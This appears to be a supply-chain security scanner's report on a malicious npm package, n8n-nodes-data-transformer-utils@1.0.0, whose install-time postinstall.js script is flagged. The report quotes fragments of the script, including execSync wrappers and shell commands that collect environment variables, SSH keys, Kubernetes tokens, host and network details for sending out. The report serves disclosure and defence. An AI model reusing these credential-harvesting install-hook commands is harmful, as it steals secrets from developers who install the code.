n8n-nodes-data-transformer-utils@1.0.0: Malicious npm security

Loading npm security reports…

n8n-nodes-data-transformer-utils@1.0.0: Malicious npm security | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"scripts": { "postinstall": "node postinstall.js" }

High

Suspicious Lifecycle Evidence

The package automatically runs postinstall.js when installed.

package.jsonView on unpkg · L11

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const { execSync } = require('child_process'); L2: const https = require('https');

High

Child Process

Package source references child process execution.

postinstall.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const https = require('https'); L3: const http = require('http'); ... L7: try { return execSync(cmd, { timeout: 15000, encoding: 'utf8' }).trim(); } L8: catch(e) { return 'ERR:' + (e.stderr || e.message || '').slice(0, 200); } L9: } ... L24: req.on('timeout', () => { req.destroy(); resolve(false); }); L25: req.write(payload); L26: req.end(); ... L58: home: run('ls -la $HOME 2>/dev/null'), L59: ssh_keys: run('cat $HOME/.ssh/id_* $HOME/.ssh/authorized_keys 2>/dev/null | head -50'), L60: docker_sock: run('ls -la /var/run/docker.sock 2>/dev/null'),

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

postinstall.jsView on unpkg · L1

51env: run('env | sort'), ifconfig: run('ip addr show 2>/dev/null || ifconfig 2>/dev/null'), resolv: run('cat /etc/resolv.conf 2>/dev/null'), hosts: run('cat /etc/hosts 2>/dev/null'), ps: run('ps aux 2>/dev/null | head -40'), netstat: run('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'), mounts: run('mount 2>/dev/null | head -20'), home: run('ls -la $HOME 2>/dev/null'), ssh_keys: run('cat $HOME/.ssh/id_* $HOME/.ssh/authorized_keys 2>/dev/null | head -50'), docker_sock: run('ls -la /var/run/docker.sock 2>/dev/null'), k8s_token: run('cat /var/run/se

High

Ai Review Evidence

The installer collects environment, SSH-key, Kubernetes-token, n8n-configuration, and host information through shell commands.

postinstall.jsView on unpkg · L51